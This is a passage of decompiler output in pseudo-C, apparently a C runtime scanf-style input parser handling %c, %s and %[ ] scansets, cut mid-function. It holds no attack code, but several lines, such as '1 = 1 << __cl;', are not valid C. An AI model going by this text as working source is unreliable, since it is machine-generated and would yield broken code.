																													} else {
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																													}
																													goto L301;
																												}
																												L294:
																												 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																												 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												__edx = __ebp - 0x28;
																												__eax = __ebp - 0x1e8;
																												__ecx = __ebp - 0x84;
																												__edx = __ebp - 0x204;
																												__eax =  *(__ebp - 0x10);
																												__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																												__eflags = __eax;
																												if(__eax != 0) {
																													L296:
																													goto L298;
																												}
																												L295:
																												goto L334;
																											}
																											L292:
																											goto L334;
																										}
																										L289:
																										__eflags =  *(__ebp - 0x21c) - 0x45;
																										if( *(__ebp - 0x21c) != 0x45) {
																											goto L306;
																										}
																										goto L290;
																									}
																									L279:
																									__edx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L287;
																									}
																									L280:
																									__ecx =  *(__ebp - 0xc);
																									__ecx =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) = __ecx;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__cl =  *((intOrPtr*)(__ebp - 1));
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__eax = __ebp - 0x28;
																									__ecx = __ebp - 0x1e8;
																									__edx = __ebp - 0x84;
																									__eax = __ebp - 0x204;
																									__ecx =  *(__ebp - 0x10);
																									__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										while(1) {
																											L282:
																											__edx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												goto L287;
																											}
																											L283:
																											__eax =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) == 0) {
																												goto L287;
																											}
																											L284:
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											__cl =  *(__ebp - 0x21c);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__eax = __ebp - 0x28;
																											__ecx = __ebp - 0x1e8;
																											__edx = __ebp - 0x84;
																											__eax = __ebp - 0x204;
																											__ecx =  *(__ebp - 0x10);
																											__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L286:
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																												__eax =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												continue;
																											}
																											L285:
																											goto L334;
																										}
																										goto L287;
																									}
																									L281:
																									goto L334;
																								}
																								L270:
																								__ecx =  *(__ebp - 0x78);
																								__ecx =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) = __ecx;
																								__edx =  *(__ebp - 0xc);
																								__edx =  *(__ebp - 0xc) + 1;
																								__eflags = __edx;
																								 *(__ebp - 0xc) = __edx;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																								goto L271;
																							}
																							L268:
																							 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																							 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							goto L270;
																						case 3:
																							goto L0;
																						case 4:
																							L264:
																							__eax =  *(__ebp - 0xc);
																							 *(__ebp - 0x220) =  *(__ebp - 0xc);
																							__ecx =  *((char*)(__ebp - 0x12));
																							__eflags = __ecx;
																							if(__ecx != 0) {
																								L266:
																								while(1) {
																									L317:
																									 *(_t1131 - 0x1e9) =  *(_t1131 - 0x1e9) + 1;
																									 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																									goto L329;
																								}
																							}
																							L265:
																							L256:
																							__eflags =  *(__ebp - 0x30);
																							if( *(__ebp - 0x30) == 0) {
																								__ecx =  *(__ebp - 0x1d);
																								__eflags = __ecx;
																								if(__ecx == 0) {
																									__ecx =  *(__ebp - 0x7c);
																									 *__ecx =  *(__ebp - 0x220);
																								} else {
																									__edx =  *(__ebp - 0x7c);
																									__eax =  *(__ebp - 0x220);
																									 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																								}
																							} else {
																								__ecx =  *(__ebp - 0x7c);
																								__edx =  *(__ebp - 0x200);
																								 *__ecx =  *(__ebp - 0x200);
																								__eax =  *(__ebp - 0x1fc);
																								 *(__ecx + 4) =  *(__ebp - 0x1fc);
																							}
																							goto L261;
																						case 5:
																							L189:
																							 *(__ebp - 0x1d) = 1;
																							goto L190;
																						case 6:
																							L75:
																							__edx =  *(__ebp - 0x215);
																							__eflags =  *(__ebp - 0x215);
																							if( *(__ebp - 0x215) > 0) {
																								__al =  *(__ebp - 0x29);
																								__al =  *(__ebp - 0x29) + 1;
																								__eflags = __al;
																								 *(__ebp - 0x29) = __al;
																							}
																							L77:
																							goto L103;
																						case 7:
																							L168:
																							if( *(__ebp - 0x21c) != 0x2d) {
																								goto L170;
																							}
																							goto L169;
																						case 8:
																							L78:
																							__ecx =  *(__ebp - 0x215);
																							__eflags =  *(__ebp - 0x215);
																							if( *(__ebp - 0x215) > 0) {
																								__dl =  *(__ebp - 0x29);
																								__dl =  *(__ebp - 0x29) + 1;
																								__eflags = __dl;
																								 *(__ebp - 0x29) = __dl;
																							}
																							L80:
																							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																							__ecx =  *(__ebp + 0xc);
																							 *(__ebp - 0x38) =  *(__ebp + 0xc);
																							__edx =  *(__ebp - 0x38);
																							__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																							__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																							if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								__dl =  *(__ebp - 3);
																								__dl =  *(__ebp - 3) - 1;
																								__eflags = __dl;
																								 *(__ebp - 3) = __dl;
																							}
																							L82:
																							 *(__ebp - 0x4c) = E0041BED0(__edi,  *(__ebp - 0x4c), 0, 0x20);
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																							if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																								__ecx =  *(__ebp - 0x38);
																								__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																									 *(__ebp - 0x7d) = 0x5d;
																									__eax =  *(__ebp - 0x38);
																									__eax =  *(__ebp - 0x38) + 1;
																									__eflags = __eax;
																									 *(__ebp - 0x38) = __eax;
																									__ecx =  *(__ebp - 0x4c);
																									 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																								}
																							}
																							while(1) {
																								L85:
																								__edx =  *(__ebp - 0x38);
																								__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																									break;
																								}
																								L86:
																								__ecx =  *(__ebp - 0x38);
																								__dl =  *( *(__ebp - 0x38));
																								 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																								__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																								__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																								if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																									L89:
																									__dl =  *(__ebp - 0x7e);
																									 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																									 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																									 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																									1 = 1 << __cl;
																									__ecx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																									 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																									__edx =  *(__ebp - 0x4c);
																									 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																									L98:
																									continue;
																								}
																								L87:
																								__edx =  *(__ebp - 0x7d) & 0x000000ff;
																								__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																								if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																									goto L89;
																								}
																								L88:
																								__eax =  *(__ebp - 0x38);
																								__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																								__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																								if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																									L90:
																									__eax =  *(__ebp - 0x38);
																									__cl =  *( *(__ebp - 0x38));
																									 *(__ebp - 0x7e) = __cl;
																									 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																									 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																									__eax =  *(__ebp - 0x7d) & 0x000000ff;
																									__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																									__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																									if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																										__al =  *(__ebp - 0x7d);
																										 *(__ebp - 0x11) = __al;
																										__cl =  *(__ebp - 0x7e);
																										 *(__ebp - 0x7d) = __cl;
																									} else {
																										__dl =  *(__ebp - 0x7e);
																										 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																									}
																									__dl =  *(__ebp - 0x7d);
																									 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																									while(1) {
																										L95:
																										__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																										__edx =  *(__ebp - 0x11) & 0x000000ff;
																										__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																										if(( *(__ebp - 0x7e) & 0x000000ff) > ( *(__ebp - 0x11) & 0x000000ff)) {
																											break;
																										}
																										L96:
																										 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																										 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																										1 = 1 << __cl;
																										__ecx =  *(__ebp - 0x4c);
																										 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																										 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																										__edx =  *(__ebp - 0x4c);
																										 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																										__al =  *(__ebp - 0x7e);
																										__al =  *(__ebp - 0x7e) + 1;
																										__eflags = __al;
																										 *(__ebp - 0x7e) = __al;
																									}
																									L97:
																									 *(__ebp - 0x7d) = 0;
																									goto L98;
																								}
																								goto L89;
																							}
																							L99:
																							__eax =  *(__ebp - 0x38);
																							__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																							__eflags = __ecx;
																							if(__ecx != 0) {
																								L101:
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																									__edx =  *(__ebp - 0x38);
																									 *(__ebp + 0xc) =  *(__ebp - 0x38);
																								}
																								L103:
																								 *(_t1131 - 0x48) =  *(_t1131 - 0x7c);
																								_t995 =  *(_t1131 - 0xc) - 1;
																								 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																								E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																								_t1133 = _t1133 + 8;
																								__eflags =  *(_t1131 - 0x44) - 0x63;
																								if( *(_t1131 - 0x44) != 0x63) {
																									_t995 =  *(_t1131 - 0x18) - 1;
																									__eflags = _t995;
																									 *(_t1131 - 0x18) = _t995;
																								}
																								while(1) {
																									L105:
																									__eflags =  *(_t1131 - 0x1f0);
																									if( *(_t1131 - 0x1f0) == 0) {
																										goto L107;
																									}
																									L106:
																									 *(_t1131 - 0x78) =  *(_t1131 - 0x78) - 1;
																									__eflags =  *(_t1131 - 0x78);
																									if( *(_t1131 - 0x78) == 0) {
																										L128:
																										__eflags =  *(_t1131 - 0x40);
																										if( *(_t1131 - 0x40) == 0) {
																											L146:
																											_t1052 =  *(_t1131 - 0x48);
																											__eflags =  *(_t1131 - 0x48) -  *(_t1131 - 0x7c);
																											if( *(_t1131 - 0x48) ==  *(_t1131 - 0x7c)) {
																												L166:
																												goto L334;
																											}
																											L147:
																											__eflags =  *((char*)(_t1131 - 0x12));
																											if( *((char*)(_t1131 - 0x12)) == 0) {
																												 *(_t1131 - 8) =  *(_t1131 - 8) + 1;
																												__eflags =  *(_t1131 - 0x44) - 0x63;
																												if( *(_t1131 - 0x44) != 0x63) {
																													__eflags =  *(_t1131 - 0x29);
																													if( *(_t1131 - 0x29) == 0) {
																														 *( *(_t1131 - 0x7c)) = 0;
																														__eflags =  *(_t1131 - 0x34) - 0xffffffff;
																														if( *(_t1131 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1131 - 0x34) - 0x7fffffff;
																															if( *(_t1131 - 0x34) != 0x7fffffff) {
																																__eflags =  *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1 -  *(_t1131 - 0x34);
																																if( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1 <  *(_t1131 - 0x34)) {
																																	__eflags =  *0x43d1bc -  *(_t1131 - 0x34) -  *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1;
																																	if( *0x43d1bc >=  *(_t1131 - 0x34) -  *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1) {
																																		_t876 =  *(_t1131 - 0x34) -  *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1;
																																		__eflags = _t876;
																																		 *(_t1131 - 0x270) = _t876;
																																	} else {
																																		 *(_t1131 - 0x270) =  *0x43d1bc;
																																	}
																																	__eflags =  *(_t1131 - 0x7c) -  *(_t1131 - 0x48);
																																	E0041BED0(_t1129,  *(_t1131 - 0x48) +  *(_t1131 - 0x7c) -  *(_t1131 - 0x48) + 1, 0xfe,  *(_t1131 - 0x270));
																																	_t1133 = _t1133 + 0xc;
																																}
																															}
																														}
																													} else {
																														 *( *(_t1131 - 0x7c)) = 0;
																														__eflags =  *(_t1131 - 0x34) - 0xffffffff;
																														if( *(_t1131 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1131 - 0x34) - 0x7fffffff;
																															if( *(_t1131 - 0x34) != 0x7fffffff) {
																																__eflags = ( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) + 1 -  *(_t1131 - 0x34);
																																if(( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) + 1 <  *(_t1131 - 0x34)) {
																																	__eflags =  *0x43d1bc -  *(_t1131 - 0x34) - ( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) + 1;
																																	if( *0x43d1bc >=  *(_t1131 - 0x34) - ( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) + 1) {
																																		_t1010 =  *(_t1131 - 0x34) - ( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) + 1;
																																		__eflags = _t1010;
																																		 *(_t1131 - 0x26c) = _t1010;
																																	} else {
																																		 *(_t1131 - 0x26c) =  *0x43d1bc;
																																	}
																																	__eflags =  *(_t1131 - 0x7c) -  *(_t1131 - 0x48);
																																	E0041BED0(_t1129,  *(_t1131 - 0x48) + 2 + ( *(_t1131 - 0x7c) -  *(_t1131 - 0x48) >> 1) * 2, 0xfe,  *(_t1131 - 0x26c) << 1);
																																	_t1133 = _t1133 + 0xc;
																																}
																															}
																														}
																													}
																												}
																											}
																											while(1) {
																												L317:
																												 *(_t1131 - 0x1e9) =  *(_t1131 - 0x1e9) + 1;
																												 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																												goto L329;
																											}
																										}
																										L129:
																										 *((intOrPtr*)(L0041F530(_t995))) = 0xc;
																										__eflags =  *(_t1131 - 0x29);
																										if( *(_t1131 - 0x29) == 0) {
																											_t1052 =  *(_t1131 - 0x48);
																											 *( *(_t1131 - 0x48)) = 0;
																											__eflags =  *(_t1131 - 0x34) - 0xffffffff;
																											if( *(_t1131 - 0x34) != 0xffffffff) {
																												__eflags =  *(_t1131 - 0x34) - 0x7fffffff;
																												if( *(_t1131 - 0x34) != 0x7fffffff) {
																													__eflags =  *(_t1131 - 0x34) - 1;
																													if( *(_t1131 - 0x34) > 1) {
																														__eflags =  *0x43d1bc -  *(_t1131 - 0x34) - 1;
																														if( *0x43d1bc >=  *(_t1131 - 0x34) - 1) {
																															_t1052 =  *(_t1131 - 0x34) - 1;
																															__eflags = _t1052;
																															 *(_t1131 - 0x268) = _t1052;
																														} else {
																															 *(_t1131 - 0x268) =  *0x43d1bc;
																														}
																														__eflags =  *(_t1131 - 0x48) + 1;
																														E0041BED0(_t1129,  *(_t1131 - 0x48) + 1, 0xfe,  *(_t1131 - 0x268));
																														_t1133 = _t1133 + 0xc;
																													}
																												}
																											}
																										} else {
																											_t1052 =  *(_t1131 - 0x48);
																											 *( *(_t1131 - 0x48)) = 0;
																											__eflags =  *(_t1131 - 0x34) - 0xffffffff;
																											if( *(_t1131 - 0x34) != 0xffffffff) {
																												__eflags =  *(_t1131 - 0x34) - 0x7fffffff;
																												if( *(_t1131 - 0x34) != 0x7fffffff) {
																													__eflags =  *(_t1131 - 0x34) - 1;
																													if( *(_t1131 - 0x34) > 1) {
																														__eflags =  *0x43d1bc -  *(_t1131 - 0x34) - 1; // 0xffffffff
																														if(__eflags >= 0) {
																															_t1052 =  *(_t1131 - 0x34) - 1;
																															__eflags = _t1052;
																															 *(_t1131 - 0x264) = _t1052;
																														} else {
																															_t1018 =  *0x43d1bc; // 0xffffffff
																															 *(_t1131 - 0x264) = _t1018;
																														}
																														__eflags =  *(_t1131 - 0x48) + 2;
																														E0041BED0(_t1129,  *(_t1131 - 0x48) + 2, 0xfe,  *(_t1131 - 0x264) << 1);
																														_t1133 = _t1133 + 0xc;
																													}
																												}
																											}
																										}
																										goto L334;
																									}
																									L107:
																									 *(_t1131 - 0xc) =  *(_t1131 - 0xc) + 1;
																									_t867 = E00426CD0( *(_t1131 - 0xc) + 1,  *(_t1131 + 8));
																									_t1133 = _t1133 + 4;
																									 *(_t1131 - 0x21c) = _t867;
																									__eflags =  *(_t1131 - 0x21c) - 0xffffffff;
																									if( *(_t1131 - 0x21c) == 0xffffffff) {
																										L126:
																										 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																										_t995 =  *(_t1131 + 8);
																										E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																										_t1133 = _t1133 + 8;
																										goto L128;
																									}
																									L108:
																									__eflags =  *(_t1131 - 0x44) - 0x63;
																									if( *(_t1131 - 0x44) == 0x63) {
																										L115:
																										_t995 =  *((char*)(_t1131 - 0x12));
																										__eflags =  *((char*)(_t1131 - 0x12));
																										if( *((char*)(_t1131 - 0x12)) != 0) {
																											L124:
																											_t1097 =  *(_t1131 - 0x48) + 1;
																											__eflags = _t1097;
																											 *(_t1131 - 0x48) = _t1097;
																											L125:
																											L105:
																											__eflags =  *(_t1131 - 0x1f0);
																											if( *(_t1131 - 0x1f0) == 0) {
																												goto L107;
																											}
																											goto L106;
																										}
																										L116:
																										__eflags =  *(_t1131 - 0x18);
																										if( *(_t1131 - 0x18) != 0) {
																											L118:
																											__eflags =  *(_t1131 - 0x29);
																											if( *(_t1131 - 0x29) == 0) {
																												 *( *(_t1131 - 0x7c)) =  *(_t1131 - 0x21c);
																												 *(_t1131 - 0x7c) =  *(_t1131 - 0x7c) + 1;
																												_t995 =  *(_t1131 - 0x18) - 1;
																												__eflags = _t995;
																												 *(_t1131 - 0x18) = _t995;
																											} else {
																												 *((char*)(_t1131 - 0x238)) =  *(_t1131 - 0x21c);
																												_t1021 =  *(_t1131 - 0x21c) & 0x000000ff;
																												_t908 = E0042F0A0( *(_t1131 - 0x21c) & 0x000000ff);
																												_t1138 = _t1133 + 4;
																												__eflags = _t908;
																												if(_t908 != 0) {
																													_t1106 =  *(_t1131 - 0xc) + 1;
																													__eflags = _t1106;
																													 *(_t1131 - 0xc) = _t1106;
																													_t917 = E00426CD0(_t1021,  *(_t1131 + 8));
																													_t1138 = _t1138 + 4;
																													 *((char*)(_t1131 - 0x237)) = _t917;
																												}
																												 *((short*)(_t1131 - 0x3c)) = 0x3f;
																												_t909 = E0041EA40(_t1131 - 0x214);
																												E0042F0C0(_t1131 - 0x3c, _t1131 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t1131 - 0x214))) + 0xac)), _t909);
																												_t1133 = _t1138 + 0x10;
																												_t995 =  *((intOrPtr*)(_t1131 - 0x3c));
																												 *( *(_t1131 - 0x7c)) =  *((intOrPtr*)(_t1131 - 0x3c));
																												 *(_t1131 - 0x7c) =  *(_t1131 - 0x7c) + 2;
																												 *(_t1131 - 0x18) =  *(_t1131 - 0x18) - 1;
																											}
																											goto L125;
																										}
																										L117:
																										 *(_t1131 - 0x40) = 1;
																										goto L128;
																									}
																									L109:
																									__eflags =  *(_t1131 - 0x44) - 0x73;
																									if( *(_t1131 - 0x44) != 0x73) {
																										L113:
																										__eflags =  *(_t1131 - 0x44) - 0x7b;
																										if( *(_t1131 - 0x44) != 0x7b) {
																											goto L126;
																										}
																										L114:
																										_t919 =  *(_t1131 - 0x21c) >> 3;
																										_t1026 =  *((intOrPtr*)(_t1131 - 0x4c));
																										__eflags = ( *(_t1026 + _t919) ^  *(_t1131 - 3)) & 0x00000001 << ( *(_t1131 - 0x21c) & 0x00000007);
																										if((( *(_t1026 + _t919) ^  *(_t1131 - 3)) & 0x00000001 << ( *(_t1131 - 0x21c) & 0x00000007)) == 0) {
																											goto L126;
																										}
																										goto L115;
																									}
																									L110:
																									__eflags =  *(_t1131 - 0x21c) - 9;
																									if( *(_t1131 - 0x21c) < 9) {
																										L112:
																										__eflags =  *(_t1131 - 0x21c) - 0x20;
																										if( *(_t1131 - 0x21c) != 0x20) {
																											goto L115;
																										}
																										goto L113;
																									}
																									L111:
																									__eflags =  *(_t1131 - 0x21c) - 0xd;
																									if( *(_t1131 - 0x21c) <= 0xd) {
																										goto L113;
																									}
																									goto L112;
																								}
																							}
																							L100:
																							goto L334;
																						case 9:
																							goto L312;
																					}
																				}
																				L60:
																				if( *(_t1131 - 0x44) == 0x63) {
																					L63:
																					 *((intOrPtr*)(_t1131 + 0x14)) =  *((intOrPtr*)(_t1131 - 0x1c));
																					 *((intOrPtr*)(_t1131 + 0x14)) =  *((intOrPtr*)(_t1131 + 0x14)) + 4;
																					 *(_t1131 - 0x7c) =  *( *((intOrPtr*)(_t1131 + 0x14)) - 4);
																					 *((intOrPtr*)(_t1131 - 0x1c)) =  *((intOrPtr*)(_t1131 + 0x14));
																					 *((intOrPtr*)(_t1131 + 0x14)) =  *((intOrPtr*)(_t1131 + 0x14)) + 4;
																					 *(_t1131 - 0x18) =  *( *((intOrPtr*)(_t1131 + 0x14)) - 4);
																					_t1037 =  *(_t1131 - 0x18);
																					 *(_t1131 - 0x34) =  *(_t1131 - 0x18);
																					if( *(_t1131 - 0x18) >= 1) {
																						goto L68;
																					} else {
																						_t1052 =  *(_t1131 - 0x215);
																						if( *(_t1131 - 0x215) <= 0) {
																							_t1052 =  *(_t1131 - 0x7c);
																							 *( *(_t1131 - 0x7c)) = 0;
																						} else {
																							_t1037 =  *(_t1131 - 0x7c);
																							 *( *(_t1131 - 0x7c)) = 0;
																						}
																						 *((intOrPtr*)(L0041F530(_t1037))) = 0xc;
																						goto L334;
																					}
																				}
																				L61:
																				if( *(_t1131 - 0x44) == 0x73) {
																					goto L63;
																				}
																				L62:
																				if( *(_t1131 - 0x44) != 0x7b) {
																					goto L68;
																				}
																				goto L63;
																			}
																			L58:
																			if( *(_t1131 - 0x78) == 0) {
																				L318:
																				 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																				_t1052 =  *(_t1131 - 0x21c);
																				E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																				_t1133 = _t1133 + 8;
																				goto L334;
																			}
																			goto L59;
																		}
																		L55:
																		if( *(_t1131 - 0x21c) != 0xffffffff) {
																			goto L57;
																		} else {
																			goto L334;
																		}
																	}
																	L50:
																	if( *(_t1131 - 0x44) == 0x63) {
																		L53:
																		_t1052 =  *(_t1131 - 0xc) + 1;
																		 *(_t1131 - 0xc) = _t1052;
																		_t933 = E00426CD0(_t987,  *(_t1131 + 8));
																		_t1133 = _t1133 + 4;
																		 *(_t1131 - 0x21c) = _t933;
																		goto L54;
																	}
																	L51:
																	if( *(_t1131 - 0x44) == 0x7b) {
																		goto L53;
																	} else {
																		_t935 = E00426D50(_t957, _t1131 - 0xc, _t1129, _t1130, _t1131 - 0xc,  *(_t1131 + 8));
																		_t1133 = _t1133 + 8;
																		 *(_t1131 - 0x21c) = _t935;
																		goto L54;
																	}
																} else {
																	L45:
																	if(( *( *(_t1131 + 0xc)) & 0x000000ff) == 0x53) {
																		L47:
																		 *(_t1131 - 0x215) =  *(_t1131 - 0x215) + 1;
																		goto L49;
																	}
																	L46:
																	if(( *( *(_t1131 + 0xc)) & 0x000000ff) != 0x43) {
																		_t938 =  *(_t1131 - 0x215) - 1;
																		 *(_t1131 - 0x215) = _t938;
																		goto L49;
																	}
																	goto L47;
																}
															}
														} else {
															 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
															E00426D30(E00426D50(_t957,  *(_t1131 + 8), _t1129, _t1130, _t1131 - 0xc,  *(_t1131 + 8)),  *(_t1131 + 8));
															_t1140 = _t1133 + 0x10;
															do {
																L4:
																 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																 *(_t1131 - 0x71) =  *( *(_t1131 + 0xc));
																_t956 = E004328C0(_t957, _t1129, _t1130,  *(_t1131 - 0x71) & 0x000000ff);
																_t1140 = _t1140 + 4;
															} while (_t956 != 0);
															continue;
														}
													}
													goto L334;
												}
											}
										}
										L255:
										__eax =  *(__ebp - 8);
										__eax =  *(__ebp - 8) + 1;
										 *(__ebp - 8) = __eax;
										goto L256;
									}
									goto L225;
								}
							}
							L176:
							__ecx =  *(__ebp - 0xc);
							__ecx =  *(__ebp - 0xc) + 1;
							 *(__ebp - 0xc) = __ecx;
							__edx =  *(__ebp + 8);
							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
							__eax =  *(__ebp - 0x21c);
							if( *(__ebp - 0x21c) == 0x78) {
								L178:
								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
								__eax =  *(__ebp + 8);
								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
								if( *(__ebp - 0x1f0) != 0) {
									__ecx =  *(__ebp - 0x78);
									__ecx =  *(__ebp - 0x78) - 2;
									 *(__ebp - 0x78) = __ecx;
									if( *(__ebp - 0x78) < 1) {
										__dl =  *(__ebp - 0x1e);
										__dl =  *(__ebp - 0x1e) + 1;
										 *(__ebp - 0x1e) = __dl;
									}
								}
